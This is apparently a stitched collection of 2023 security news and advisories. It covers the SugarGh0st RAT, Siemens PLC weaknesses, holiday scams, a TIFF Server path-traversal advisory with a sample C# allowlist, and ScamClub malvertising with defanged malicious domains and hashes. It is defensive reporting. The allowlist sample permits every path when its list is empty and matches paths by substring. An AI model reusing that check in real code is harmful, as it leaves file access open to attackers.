An Untrusted search path vulnerability in NetEase CloudMusic 2.10.4 for Windows allows local users to gain escalated privileges through the urlmon.dll file in the current working directory.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

CVE-2023-47454: GitHub - xieqiang11/poc-3

A decade and a half after Gh0st RAT first appeared, the "SugarGh0st RAT" variant aims to make life sweeter for cybercriminals.

Source: Niday Picture Library via Alamy Stock Photo

A new variant of the infamous "Gh0st RAT" malware has been identified in recent attacks targeting South Koreans and the Ministry of Foreign Affairs in Uzbekistan.

The Chinese group "C.Rufus Security Team" first released Gh0st RAT on the open Web in March 2008. Remarkably, it's still in use today, particularly in and around China, albeit in modified forms.

Since late August, for instance, a group with strong Chinese links has been distributing a modified Gh0st RAT deemed "SugarGh0st RAT." According to research from Cisco Talos, this threat actor drops the variant via JavaScript-laced Windows shortcuts, while distracting targets with customized decoy documents.

The malware itself is still largely the same, effective tool it's ever been, though it now sports some new decals to help sneak past antivirus software.

**SugarGh0st RAT's Traps**

The four samples of SugarGh0st, likely delivered via phishing, arrive on targeted machines as archives embedded with Windows LNK shortcut files. The LNKs hide malicious JavaScript which, upon opening, drops a decoy document — targeted for Korean or Uzbek government audiences — and the payload.

Like its progenitor — the Chinese origin remote access Trojan, first released to the public in March 2008 — SugarGh0st is a clean, multitooled espionage machine. A 32-bit dynamic link library (DLL) written in C++, it begins by collecting system data, then opens up the door to full remote access capabilities.

Attackers can use SugarGh0st to retrieve any information they might desire about their compromised machine, or start, terminate, or delete the processes it's running. They can use it to find, exfiltrate, and delete files, and erase any event logs to mask the resulting forensic evidence. The backdoor comes fitted with a keylogger, a screenshotter, a means of accessing the device's camera, and plenty of other useful functions for manipulating the mouse, performing native Windows operation, or simply running arbitrary commands.

"The thing that's most concerning to me is how it's specifically designed to evade previous detection methods," says Nick Biasini, Cisco Talos' head of outreach. With this new variant, specifically, "they took effort to do things that would change the way that core detection would work."

It isn't that SugarGh0st has any particularly novel evasion mechanisms. Rather, minor aesthetic changes make it appear different from prior variants, such as changing the command-and-control (C2) communication protocol such that instead of 5 bytes, the network packet headers reserve the first 8 bytes as magic bytes (a list of file signatures, used to confirm a file's contents). "It's just a very effective way to try and make sure that your existing security tooling isn't going to pick up on this right away," Biasini says.

**Gh0st RAT's Old Haunts**

Back in September 2008, the office of the Dalai Lama approached a security researcher (no, this isn't the beginning of a bad joke).

Its employees were being peppered with phishing emails. Microsoft applications were crashing, without explanation, across the organization. One monk recalled watching his computer open Microsoft Outlook all on its own, attach documents to an email, and send that email to an unrecognized address, all without his input.

A Gh0st RAT beta model's English-language UI. Source: Trend Micro EU via Wayback Machine

The Trojan used in that Chinese military-linked campaign against Tibetan monks has stood the test of time, Biasini says, for a few reasons.

"Open source malware families live long because actors get a fully functional piece of malware that they can manipulate as they see fit. It also allows people who don't know how to write malware to leverage this stuff for free," he explains.

Gh0st RAT, he adds, stands out in particular as "a very functional, very well-built RAT."

**About the Author(s)**

Nate Nelson is a freelance writer based in New York City. Formerly a reporter at Threatpost, he contributes to a number of cybersecurity blogs and podcasts. He writes "Malicious Life" -- an award-winning Top 20 tech podcast on Apple and Spotify -- and hosts every other episode, featuring interviews with leading voices in security. He also co-hosts "The Industrial Security Podcast," the most popular show in its field.

A New, Spookier Gh0st RAT Malware Haunts Global Cyber Targets

Fake Facebook ads seem to be the flavor of the month for scammers.

Thursday, November 30, 2023 14:00

I know I’m a little late to the party to hit the prime SEO for Black Friday, Cyber Monday and holiday shopping. But if I know the readers of this newsletter, everyone is far from done with their holiday shopping already after a few days. 

I also know I’m far from the only person to warn consumers about scams during this season, so I’m trying to split the difference and highlight a few specific scams and spam campaigns that are already circulating in the wild, some of which popped up right on Black Friday, so you don’t get caught in the remaining days leading up to the winter holidays. 

Fake Facebook ads seem to be the flavor of the month for scammers. This is completely anecdotal, but my mom almost got “got” with a fake Facebook post in a group she belongs to claiming to have some great deals on Nintendo Switch games on Amazon that were not actually real (thankfully she hadn’t clicked the link before she asked me if “Mario Odyssey” was a good deal at $15).  

Still, several other reports have shown that scammers are using Facebook ads to advertise a deal for a $19 Stanley cup — these are the water bottles all the influencers are using nowadays and, even when they are on sale, don’t go for any less than about $35. In this case, it looks like the actors are just looking to take your money or credit card information with a fake ordering process and no plans to send you anything. 

Adversaries have also set up fake Facebook pages and web pages disguising themselves as the retailer Big Lots. These fake ads and posts offer vague deals and sales on various products but instead point to typo-squatted Big Lots websites (or URLs that vaguely seem like they could be connected to Big Lots).  

Scammers are also sending mass emails to subscribers of various streaming services like Amazon Prime, Paramount+ and Peacock claiming that their subscription has lapsed, but they can resubscribe for a deeply discounted price, or even free, as part of a Black Friday special.  

Amazon also issued a warning recently that attackers have been sending emails with malicious attachments asking for users' personal information in exchange for having their “accounts” unlocked. 

This is just a sampling of the likely hundreds of different scams and spam campaigns attackers are deploying right now, so in general, when shopping online, here are a few tips: 

*   Only download apps from trusted and official app stores like the Google Play store and iOS App Store. 
*   Look out for apps that ask for suspicious permissions, such as access to your text messages, contacts, stored passwords and administrative features. 
*   Some malicious apps will try to masquerade as a legitimate version of the one you could be searching for. Signs of these apps include poor spelling and grammar in app descriptions and interfaces, lack of high-quality performance and a developer contact that uses a free email service (such as @gmail.com). 
*   Avoid clicking on unsolicited emails. Make sure you purposefully subscribed to any marketing emails you receive from retailers before opening it. 
*   Use an ad blocker locally on your browser. These will often block any malvertising campaigns that aim to capitalize on shoppers looking for deals. 
*   Try to use payment services such as Google Pay, Samsung Pay and Apple Pay. These services use tokenization instead of the “Primary Account Number” (your credit card number), making your transaction more secure. 
*   Use unique, complex passwords, per site. Attackers commonly reuse passwords to compromise multiple accounts with the same username. Use a password locker if you have a hard time creating and remembering secure passwords. 
*   Manually type in URLs to sites you want to visit rather than clicking on links. 
*   Use multi-factor authentication, such as Cisco Duo, to log into your email account to avoid unauthorized access. 

Next week, Talos will have a holiday special of our own! On Dec. 5, we’ll be launching our second-ever Year in Review report, complete with all new data and insights about the attacks and malware we’ve seen in 2023. Stay tuned to our social media channels or blog for that release.  

**The one big thing **

Cisco Talos recently discovered a malicious campaign that likely started as early as August 2023, delivering a new remote access trojan (RAT) we dubbed “SugarGh0st.” We assess with high confidence that the SugarGh0st RAT is a new customized variant of Gh0st RAT, an infamous trojan that’s been active for more than a decade, with customized commands to facilitate the remote administration tasks as directed by the C2 and modified communication protocol based on the similarity of the command structure and the strings used in the code. 

**Why do I care? **

If infected, SugarGh0st serves as a fully functional backdoor for the adversary that can execute most remote-control functionalities. It can launch the reverse shell and run the arbitrary commands sent from C2 as strings using the command shell. SugarGh0st can collect the victim’s machine hostname, filesystem, logical drive, and operating system information. It can access the running process information of the victim’s machine and control the environment by accessing the process information and terminating the process as directed by the C2 server. It can also manage the machine’s service manager by accessing the configuration files of the running services and can start, terminate or delete the services. 

**So now what? **

Since this seems to be an offshoot of GhostRAT, we certainly can’t rule out any other variants that may be floating out there. Talos also has new ClamAV signatures, Snort rules and other Cisco Secure protection to specifically detect and stop SugarGh0st.  

**Top security headlines of the week **

**Cisco Talos and other teams across Cisco recently worked with multiple government partners to help protect the Ukrainian power grid and ensure it runs appropriately.** The effort, spearheaded by Talos’ Joe Marshall, involved creating bespoke hardware for Ukraine’s energy supplier, Ukrenergo, to operate in place of traditional GPS devices that the Ukrainian power grid relies on to keep running on time. GPS satellites and Ukrainian substations have constantly been the target of kinetic and cyber threats during Russia’s invasion of Ukraine. Officials from multiple U.S. government agencies assisted in the project.  The Pentagon set up flights to physically deliver the manipulated switches, the Department of Energy helped coordinate the equipment’s delivery, and, as Ukrenergo told CNN, the Department of Commerce was a part of critical meetings that first outlined this project. Taras Vasyliv, who oversees power dispatching for Ukrenergo, told CNN that the custom-built switches were the equivalent of a “flashlight” for a surgeon who is trying to operate in the dark. (CNN, Business Insider) 

**Leaked government documents show that some local, federal and state law enforcement officers have been able to view the phone records of millions of Americans,** even those who have not been accused or suspected of a crime. The little-known Pentagon program was partially uncovered because of a letter sent from U.S. Sen. Ron Wyden of Oregon to U.S. Attorney General Merrick Garland, in Wyden’s office requested more information on the project and encouraged the federal government to publicly disclose this knowledge. The letter states the White House pays wireless company AT&T to give all federal, state, local, and Tribal law enforcement agencies “the ability to request often-warrantless searches.” Known as the “Hemisphere Project,” this program has apparently been around since 2007 and reported on by the New York Times in 2013 but has largely gone unnoticed since. Wyden is attempting to challenge the legality of the Hemisphere Project. (Wired) 

**Security researchers have found a way to bypass the Microsoft Hello login authentication system** used in many fingerprint readers and face ID scanners on devices from Dell, Lenovo and Microsoft. Researchers hired by Microsoft to test the security of the readers have since informed the company of these vulnerabilities. The attack the researchers outlined could provide access to a stolen laptop or carry out what's called an “evil maid” attack on an unattended device. Microsoft introduced Hello with its Windows 10 operating system, and since then has included fingerprint scanners on all its devices (though in some cases, Microsoft’s own hardware like the Surface tablet did not use Hello). Though the manufacturers are now aware of these vulnerabilities, the variety of attacks means it can be difficult to patch for these issues. However, all the attacks ultimately required physical access to a device. (Ars Technica, The Verge) 

**Can’t get enough Talos? **

*   Tech giant Cisco built special device to help Kyiv ward off cyberattacks on power grid 
*   Cisco whips up modded switch to secure Ukraine grid against Russian cyberattacks 
*   Talos Takes Ep. #163: Why has the Phobos ransomware been working for so long? 
*   The Need to Know: What is threat hunting? 
*   Vulnerability Roundup: Vulnerabilities in Adobe Acrobat, Microsoft Excel could lead to arbitrary code execution 

**Upcoming events where you can find Talos **

**"Power of the Platform” by Cisco** **(Dec. 5 & 7)** 

Virtual (Please note: This presentation will only be given in German) 

> _The annual IT event at the end of the year where Cisco experts, including Gergana Karadzhova-Dangela from Cisco Talos Incident Response, discuss the future-oriented topics in the implementation of digitalization together with you._  

**What Threats Kept Us Up in 2023: A Year in Review and a Look Ahead** **(Dec. 13, 11 a.m. PT)** 

Virtual 

> _Each year brings new threats that take advantage of increasingly complex security environments. Whether it’s Volt Typhoon targeting critical infrastructure organizations across the United States or ALPHV launching an attack against casino giant MGM, threat actors are becoming bolder and more evasive. That’s why it’s never been more important to leverage broad telemetry sources, deep network insights and threat intelligence to respond effectively and recover faster from sophisticated attacks. Join Amy Henderson, Director of Strategic Planning and Communications at Cisco Talos and Briana Farro, Director of XDR Product Management at Cisco, as they discuss some of the top threat trends and threats we have seen this past year and how to leverage security technology like XDR and network insights to fight against them._ 

**NIS2 Directive: Why Organizations Must Act Now to Ensure Compliance and Security** **(Jan. 11, 2024, 10 a.m. GMT)** 

Virtual 

> _The NIS2 Directive is a crucial step toward securing Europe’s critical infrastructure and essential services in an increasingly interconnected world. Organizations must act now to prepare for the new requirements, safeguard their operations, and maintain a robust cybersecurity posture. Gergana Karadzhova-Dangela from Cisco Talos Incident Response and other Cisco experts will talk about how organizations can best prepare for the coming regulations._  

**Most prevalent malware files from Talos telemetry over the past week **

**SHA 256:** 8664e2f59077c58ac12e747da09d2810fd5ca611f56c0c900578bf750cab56b7    
**MD5:** 0e4c49327e3be816022a233f844a5731    
**Typical Filename:** aact.exe    
**Claimed Product:** AAct x86    
**Detection Name:** PUA.Win.Tool.Kmsauto::in03.talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** streamer.exe   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg 

**SHA 256:** abaa1b89dca9655410f61d64de25990972db95d28738fc93bb7a8a69b347a6a6   
**MD5:** 22ae85259273bc4ea419584293eda886   
**Typical Filename:** KMSAuto++ x64.exe   
**Claimed Product:** KMSAuto++   
**Detection Name:** Hacktool:PUP.26ld.in14.Talos 

**SHA 256:** 77c2372364b6dd56bc787fda46e6f4240aaa0353ead1e3071224d454038a545e   
**MD5:** 040cd888e971f2872d6d5dafd52e6194   
**Typical Filename:** tmp000c3787   
**Claimed Product:** Ultra Virus Killer   
**Detection Name:** PUA.Win.Virus.Ultra::95.sbx.tg 

**SHA 256:** 975517668a3fe020f1dbb1caafde7180fd9216dcbf0ea147675ec287287f86aa   
**MD5:** 9403425a34e0c78a919681a09e5c16da   
**Typical Filename:** vincpsarzh.exe   
**Claimed Product:** N/A   
**Detection Name:** Win.Dropper.Scar::tpd

$19 Stanely cups, fake Amazon Prime memberships all part of holiday shopping scams circulating

Security updates are tedious and difficult, so users continue to use a weak version of a core protocol and remain exposed to major attacks on critical infrastructure.

Source: John Edwards via Alamy Stock Photo

Programmable logic controllers (PLCs) that were vulnerable to the Stuxnet attack are still in use globally and rarely have security controls deployed — meaning they're still at risk.

More than 10 years after Stuxnet, new research shows users rarely switch on security controls such as using passwords, and feel updates are too cumbersome to be applied.

Colin Finck, tech lead of reverse engineering and connectivity at Enlyze, says the Siemens proprietary protocol which is used to read and write data as well as to program the S7 PLC. However, this is only protected by obfuscation, which the researchers were able to bypass.

Finck and his colleague Tom Dohrmann, software engineer, reverse engineering and connectivity, will present their findings at Black Hat Europe in London next week, in a talk titled "A Decade After Stuxnet: How Siemens S7 Is Still an Attacker's Heaven."

**Still Feeling the Stuxnet Effects**

In the 2010 attack, the Stuxnet attackers exploited several zero-day vulnerabilities in Microsoft Windows to ultimately gain access to Siemens software and the PLCs. This was done to gain access to and effectively damage high-speed centrifuges at the Iranian Bushehr nuclear power plant.

The impact of Stuxnet was huge, as it remotely damaged around a thousand centrifuges, and the worm's controllers were also able to analyze communication protocols between the PLCs to exploit further technological weaknesses. It also paved the way for things to come: After Stuxnet, a number of industrial control-related attacks were detected over the years, including BlackEnergy and Colonial Pipeline.

Finck tells Dark Reading that after the Stuxnet attacks took place, Siemens developed a revised protocol for the PLCs that added "lots of obfuscation and cryptography layers." However, the researchers in recent probing were able to bypass that obfuscation to give them the ability to read and write instructions for the PLCs, and ultimately stop the controller working in a proof of concept.

A statement from Siemens sent to Dark Reading acknowledged that the levels of obfuscation do not offer enough security, and a Security Bulletin from October 2022 stated that two of the PLCs "use a built-in global private key which cannot be considered anymore as sufficiently protected."

The statement added: "Siemens has deprecated this previous version of the communication protocol and encourages everyone to migrate to V17 or later to enable the new TLS \[Transport Layer Security\]-based communication protocol."

**Improved Firmware**

That most recent Siemens firmware released in 2022 does include TLS, but Finck claims there is no "long-term service for cybersecurity issues" and calls for Siemens to provide better means to update firmware "because right now, it's wide open to anybody who could just access it over the Internet."

In its statement, Siemens said it is aware of the talk scheduled for Black Hat Europe and stated that the talk "will describe the details of the legacy PG/PC and HMI communication protocol as used between TIA Portal/HMIs and SIMATIC S7-1500 SW Controller in versions before V17."

The company stated that no previously unknown security vulnerabilities will be disclosed in this talk and that Siemens is in close coordination with the researchers. Siemens recommended users to apply mitigations, including:

*   Applying client authentication using strong and individual access level passwords.
    
*   Migrating to V17 or later to enable the new TLS-based communication protocol for all SIMATIC S7-1200/1500 PLCs including SW Controller (see Siemens Security Bulletin SSB-898115 \[2\]).
    
*   Implementing the defense-in-depth approach for plant operations and configure the environment according to Siemens operational guidelines for industrial security.
    

Though the researchers praised the response by Siemens, they noted that PLC firmware is rarely updated by users, "and there's not an established update process to quickly roll out \[updates\] to a fleet of machines."

Finck says doing updates is "probably a tedious manual process to walk to every machine, plug something in and update the firmware," and thus, Siemens needs to offer better update processes so customers have an incentive to deploy those updates.

In the meantime, he says, "you better not have a direct connection to all PLCs right now, due to the aforementioned security problems."

**About the Author(s)**

With more than 20 years experience of B2B journalism, including 12 years covering cybersecurity, Dan Raywood brings a wealth of experience and information security knowledge to the table. He has covered everything from the rise of APTs, nation-state hackers, and hacktivists, to data breaches and the increase in government regulation to better protect citizens and hold businesses to account. Dan is based in the U.K., and when not working, he spends his time stopping his cats from walking over his keyboard and worrying about the (Tottenham) Spurs’ next match.

Siemens PLCs Still Vulnerable to Stuxnet-like Cyberattacks

The default configuration of Aquaforest TIFF Server allows access to arbitrary file paths, subject to any restrictions imposed by Internet Information Services (IIS) or Microsoft Windows. Depending on how a web application uses and configures TIFF Server, a remote attacker may be able to enumerate files or directories, traverse directories, bypass authentication, or access restricted files.




**Background**

Tiff Server was one of Aquaforest’s first products, released in 2002.

It enabled users to view TIFF files within a web site or web-based application without requiring the use of special image viewer plugins or applets ( a requirement for the cutting edge Internet Explorer and Netscape Navigator browsers at that time).

It was designed to be used on an intranet, and was never intended to be exposed to the outside world. When TIFF Server was designed, the concept of zero-trust networking and the risk of network-internal threats had not yet entered the mainstream industry consciousness.

Over the years, additional features were added but the underlying model has remained.

**Security Advisory**

External partners have identified that organisations running an insufficiently configured instance of TIFF Server may allow an unauthenticated attacker to craft a request that abuses certain parameters available in TIFF Server’s exposed ASP.NET forms. This weakness can be mapped to the MITRE CWE framework as CWE-22.

Parameters in the *.aspx forms bundled in TIFF Server are designed to leverage the capabilities of IIS to allow it to source files from arbitrary provided locations in order to maximise customisation flexibility. At the time, the implications of these original design decisions were unclear but meant that carefully crafted requests to certain insufficiently configured servers may be able to:

*   Allow an unauthenticated user to view documents that should otherwise require authentication.
*   Detect directories that the user TIFF Server is running as has access to.
*   Count files within directories the user TIFF Server is running as has access to.
*   Detect if files exist in locations TIFF Server has access to.

This architectural design pattern that could allow this flaw is present in all versions of TIFF Server.

As this functionality is intended to allow customisation of features provided by TIFF Server and may be in use by customers still using TIFF Server, there is not a “one-size-fits-all” resolution that does not require customer-side configuration.

**Improving Security Configuration within TIFF Server**

The best way to mitigate the risk of an unauthenticated attacker accessing contents that should not be accessible is to use the Custom Auditing and Security option supplied in Section 13 of the Tiff Server Reference Guide to implement allowlisting for limiting incoming requests to only the directories intended for use with TIFF Server.

Though the Custom Auditing and Security option and its use is described in the reference guide, we had not previously provided examples of using it.

In order to provide guidance to our customers still using TIFF Server, we have provided an example below for implementing such a configuration. The following implementation uses a file containing a list of accepted file paths:

    using System;
    using System.Collections.Generic;
    using System.IO;
    using System.Net;
    using System.Web;
    
    /// <summary>
    /// The following AquaforestTIFFServerAudit code is designed to check 
    /// the filepath is within the allowlisted URLs
    /// </summary>
    namespace AquaforestTIFFServerAudit
    {
        /// <summary>
        /// This code has a hard coded filepath for the AllowList
        /// </summary>
        public class TIFFServerAudit
        {
    
            /// <summary>
            /// This is a skeleton function, add features as required.
            /// </summary>
            /// <param name="fileName"></param>
            /// <param name="action"></param>
            /// <param name="AUTH_USER"></param>
            /// <returns></returns>
            public static bool securityCheck(string fileName, string action, string AUTH_USER)
            {
                // Add check that filepath is within the AllowList
                // Get the filepath from the filename
                string filePath = Path.GetDirectoryName(Path.GetFullPath(fileName).ToLowerInvariant());
    
                // If it is not in the allowlist end the response.
                if (!TiffServerAllowlist.InAllowList(filePath))
                {
                    return false;
                }
                else
                {
                    return true;
                }
                // Return False to disable access
            }
            public static void logAction(string action)
            {
                // Action is one of :
                // VIEW, PRINT, PDF, SAVEPDF, GETANNOTATIONS, SAVEANNOTATIONS, EDIT, SAVEEDIT
                try
                {
                    // Get the file path from one of these supplied sources depending upon the supplied Action
                    string fileName = HttpContext.Current.Request["FN"];
                    if (action == "EDIT" || action == "SAVEEDIT")
                    {
                        fileName = HttpContext.Current.Request["filename"];
                    }
                    else
                    if (action == "GETANNOTATIONS")
                    {
                        fileName = HttpContext.Current.Server.MapPath(HttpContext.Current.Request["an_url"]);
                    }
                    else
                    if (action == "SAVEANNOTATIONS")
                    {
                        fileName = HttpContext.Current.Request["anfile"];
                    }
    
                    // Audit operations
                    string status = "OK"; // Default
                    string auditFileName = (string)HttpContext.Current.Session["ts_audit_file"];
    
                    string PC = HttpContext.Current.Request["PC"];
                    string AUTH_USER = HttpContext.Current.Request.ServerVariables["AUTH_USER"];
                    string REMOTE_HOST = HttpContext.Current.Request.ServerVariables["REMOTE_HOST"];
    
                    if (auditFileName == null || auditFileName == "")
                    {
                        if (!securityCheck(fileName, action, AUTH_USER))
                        {
                            HttpContext.Current.Response.Write($"You do not have permission to {action} this file.{Environment.NewLine}{Path.GetExtension(fileName)}{Environment.NewLine}Please contact your system administrator.");
                            HttpContext.Current.Response.End();
                        }
                        return;
                    }
    
                    /* 
                     * Any Security Checks May Go Here and Terminate Response with 
                     * HttpContext.Current.Response.End() before or after writing log entry
                    */
    
                    if (!securityCheck(fileName,action,AUTH_USER))
                    {
                        if (action == "GETANNOTATIONS")
                        {
                            HttpContext.Current.Response.Write("<ts_annot></ts_annot>");
                            HttpContext.Current.Response.End();
                        }
                        if (PC == "Y")
                        {
                            HttpContext.Current.Response.Write("afPageCount=-5;afMessage='You do not have permission to access this file.  Please contact your system administrator.';");
                            HttpContext.Current.Response.End();
                        }
                        else
                        {
                            HttpContext.Current.Response.Clear();
                            HttpContext.Current.Response.End();
                        }
                    }
    
                  
                    if (action == "VIEW" && PC != "Y")
                    {
                        // Only log for the initial page count request, not for each page 
                        return;
                    }
        			
                    System.IO.StreamWriter auditFile = new System.IO.StreamWriter(auditFileName, true);
                    if (auditFile != null)
    				{
                        auditFile.WriteLine(DateTime.Now + "," + action+","+status+","+fileName+","+AUTH_USER+","+REMOTE_HOST+","+HttpContext.Current.Request.Url);
                        auditFile.WriteLine();
                        auditFile.Flush();
                        auditFile.Close();
    				}
    			}
                catch (WebException wex)
                {
    
                }
    			catch(Exception ex)
    			{
    
    			}
    		}
        }
    
        /// <summary>
        /// This static class checks if a filepath is included in the AllowList
        /// </summary>
        public static class TiffServerAllowlist
        {
            /// <summary>
            /// Static list of AllowListed locations
            /// </summary>
            private static List<string> _AllowList;
    
            /// <summary>
            /// Constructor that loads up the allowlist from the filepath
            /// </summary>
            static TiffServerAllowlist()
            {
                _AllowList = new List<string>();
    
                // This is hard coded to a specified location, it will need to be edited and pointed at a valid text file.
                // The file contains root paths that TifServer is allowed to access.
                string temp =Path.GetFullPath(@"C:\inetpub\wwwroot\tiffserver\AllowList.txt");
                if (File.Exists(temp))
                {
                    string contents = File.ReadAllText(temp);
                    foreach (string line in contents.Split('\n'))
                    {
                        _AllowList.Add(line.Replace("\r", ""));
                    }
                }
            }
            /// <summary>
            /// Returns whether the supplied filepath is within the AllowList
            /// </summary>
            /// <param name="filePath"></param>
            /// <returns></returns>
            public static bool InAllowList(string filePath)
            {
                bool result;
                if (_AllowList.Count == 0)
                {
                    result = true;
                }
                else
                {
                    result = false;
                    foreach(string rootPath in _AllowList)
                    {
                        if (filePath.Contains(rootPath))
                        {
                            result = true;
                            break;
                        }
                    }
                }
    
                return result;
            }
        }
    }
    

Example allowlist file:

    D:\data\project_1\tiffs
    D:\data\project_2\tiffs
    C:\inetpub\wwwroot\tiffserver\samples

As the full source of the Custom Auditing and Security class is available, it’s possible to edit it in other ways if the example given above is not compatible with the way you have implemented TIFF Server.

**The future…**

As described in the blog post TIFF Server Sunsetting (aquaforest.com), Tiff Server will be sunsetted by 31 May 2024. We will continue to provide product support for existing customers until that date, but no updates are planned prior to sunset.

We have provided the example above to help customers hold themselves over until the sunset date while planning their migration to other solutions. Customers are not advised to remain using TIFF Server after the sunset date because no further updates, support, or guidance will be offered at that time.

We would suggest that if you are a current user of TIFF Server and have not begun to plan a replacement, this would be a good opportunity to look at our PSPDFKit Web-Standalone solution that has superseded TIFF Server.

You can explore a demo of the PSPDFKit image viewer **here** and get started with a trial by following **this link**.

As a valued customer, we’d like to provide you with a custom offer tailored to your needs. If you are not sure what products best suit your usage needs, our sales team can help work with you to determine a solution for your needs moving forward. To discuss your requirements, please contact us via the **sales team**.

CVE-2023-6352: Tiff Server security update - Aquaforest

A fake antivirus alert may suddenly hijack your screen while browsing. This latest malvertising campaign hit top publishers.

ScamClub is a threat actor who’s been involved in malvertising activities since 2018. Chances are you probably ran into one of their online scams on your mobile device.

Confiant, the firm that has tracked ScamClub for years, released a comprehensive report in September while also disrupting their activities. However, ScamClub has been back for several weeks, and more recently they were behind some very high profile malicious redirects.

The list of affected publishers includes the Associated Press, ESPN and CBS, where unsuspecting readers are automatically redirected to a fake security alert connected to a malicious McAfee affiliate.

ScamClub is resourceful and continues to have a deep impact on the ad ecosystem. While we could not identify precisely which entity served the ad, we have reported the website used to run the fake scanner to Cloudflare which immediately took action and flagged it as phishing.

**Forced redirects**

Mastodon user Blair Strater (@r000t@fosstodon.org) was simply browsing the Associated Press website on his phone when he was suddenly redirected to a fake security scan page:

Malicious redirect from APnews.com (credit Blair Strater)

This fake scanner is not run by McAfee, but the domain name _systemmeasures\[.\]life_ that we see in the address bar is the landing page that redirects to one of its affiliates. That affiliate was previously reported but continues unabated.

Web traffic between malicious page and McAfee site

Based on public data, several ad exchanges were abused to deliver this fake antivirus campaign via real-time bidding (RTB) in the past few weeks Most of the telemetry we saw from our Malwarebytes user base was related to smaller websites with ‘risky’ advertisers. However, a different campaign was targeting mobile users with malicious ads slipping by on top publishers (note: this data comes from VirusTotal):

**ESPN.COM (1.585B monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz3hbaiz7oz2&k=b47648817b492be8ba9c7dc97addefb6&country\_code=US&carrier=Verizon&country\_name=United%20States&region=New%20York&city=Bronx&isp=MCI%20Communications%20Services,%20Inc.%20d/b/a%20Verizon%20Business&lang=en&ref\_domain=**www.espn.com**&os=**iOS**&osv=17&browser=Chrome&browserv=119&brand=Apple&model=iPhone&marketing\_name=iPhone&tablet=2&rheight=0&rwidth=0&e=5

**APNEWS.COM (307.2M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=59z40b4g6z7oz2&k=506222e0611d62c3261b9ba847063faa&country\_code=US&carrier=-&country\_name=United%20States&region=Virginia&city=Alexandria&isp=Comcast%20Cable%20Communications,%20LLC&lang=en&ref\_domain=**apnews.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

**CBSSPORTS.COM (265.1M monthly visits)**

systemmeasures\[.\]life/avs/en/mob/**mcafee-2**.php?c=5uz16jptz7oz2&k=d2761f12fed2ce8472ab704fd55d49e1&country\_code=US&carrier=-&country\_name=United%20States&region=Colorado&city=Greenwood%20Village&isp=Charter%20Communications%20Inc&lang=en&ref\_domain=**www.cbssports.com**&os=**Android**&osv=10.&browser=Chrome&browserv=119&brand=unknown&model=unknown&marketing\_name=K&tablet=2&rheight=0&rwidth=0&e=5

Most of the public reports (\[1\], \[2\], \[3\]) indicate this campaign was at its peak around **November 19**. To be clear, AP, ESPN, CBS and other sites were not hacked, but rather showed malicious ads. It appears that this high profile campaign stopped shortly after, as we haven’t seen new telemetry data coming from these publishers. However, the other campaign we are also monitoring that is affecting smaller sites is still ongoing (via _eu\[.\]vulnerabilityassessments.life_ and _us.vulnerabilityassessments\[.\]life_).

**Connection with ScamClub**

We were able to connect this campaign to the ScamClub infrastructure because of another domain (_trackmaster\[.\]cc_) that was previously mentioned as belonging to the threat actor. We can see the relationship between _systemmeasures\[.\]life_ (the landing page) and _trackmaster\[.\]cc_ (the intermediary domain) in the urlscanio submission below:

urlscanio scan showing the relationship between two domains

**Fingerprinting**

Like other malvertising threat actors, ScamClub dabbles in obfuscation and evasion techniques. However, as previously detailed by Confiant, they are using much more advanced tricks. Their JavaScript uses obfuscation with changing variable names, making identification harder.

Previously, the malicious JavaScripts were hosted on Google’s cloud but they have now moved to Azure’s CDN.

ScamClub’s malicious JavaScript

**Malvertising and mobile users**

On this blog, we have covered a number of malvertising campaigns targeting Desktop, both consumer and enterprise. This is in part because we hunt for Windows malware and the occasional Mac ones too.

ScamClub is a good example of targeting a big market segment, Mobile Web, where security software is often an afterthought, in particular on iOS, in part due to restrictions imposed by Apple. Clearly, malvertising is flourishing on Mobile and users are just as likely, if not more, to get tricked into downloading malware or get scammed.

Malwarebytes for Android protects users from this campaign:

**Indicators of Compromise**

**ScamClub URLs**

octob\[.\]azureedge\[.\]net/oc.js
lzi\[.\]azureedge\[.\]net/lz.js
tinlc\[.\]azureedge\[.\]net/pt.js
bm-rb\[.\]azureedge.net/rb.js
foluo\[.\]azureedge\[.\]net/fo.js
vpv-ger\[.\]azureedge\[.\]net/VpaidVideoAd1.js

**ScamClub JavaScript hashes**

c01716e23f633b206147efbe70fb37945e3857d6575fd088ea50106fb541cf1e  
899cbfbd676159201b2281d9e0e66f3ac200ac58b674375bde04083ff87650ad  
451b48c8f247f25cd09a1bf4a52fc195a74830d88bd2ffed7a5d4b7830e10621  
495304b489cecd33188ca2a7407d397996fd82ea99966e7c145f0dc67ab2dfb5  
a616fc2c1a075170d4decdb9d3c9ad15f2cfbcfda78dbe4c60d72132b9d006c9  
34f15ec739df72f5ac245db3fff11ea56407e95b94e24bbb820d7999032866d8  
a7a73d3bc716346808b2ee8070dfe5842bb01e10aee1fa9ba87fb975d71d0f4f  
de2f1745cdfbe58266b804961bdbd5be8f533843ed7fdf4b5fe6eb0060876b56  
1614786dd6ff4189975e8226ab7e68d258817b435c3c4e145951f5147699878e  
52cd9f2ff282354c77087b204d5cb32cee9066e8eea4e3c3b8f7cf4d3d3fa20f  
df03df284bfbbe006383f26c0c91394f4c4c8d915d04b868a00954f63e6163e0  
2f3867d33c448b941278671df9a2b8d3d6b29dec5d74b67654f5edfcc6771575  
243d9d70703644f3df148e7633f3ec461a9c43149ea58fd547e2e6fd0c47cce5

**Redirectors**

trackmaster\[.\]cc  
protectsystemtools\[.\]life  
securitypatch\[.\]life  
real-time-system-monitoring\[.\]life  
threatdetectorhub\[.\]life  
threatdetectorhub\[.\]online  
vulnerabilityassessments\[.\]life  
strike-it-lucky\[.\]space  
golden-opportunity\[.\]xyz  
stroke-of-luck\[.\]xyz  
blessed-with-luck\[.\]space  
system-scan-tool\[.\]space  
system-security-scan\[.\]buzz  
system-security-scan\[.\]net  
system-scan-tool\[.\]online  
trk6\[.\]kokamedia\[.\]com  
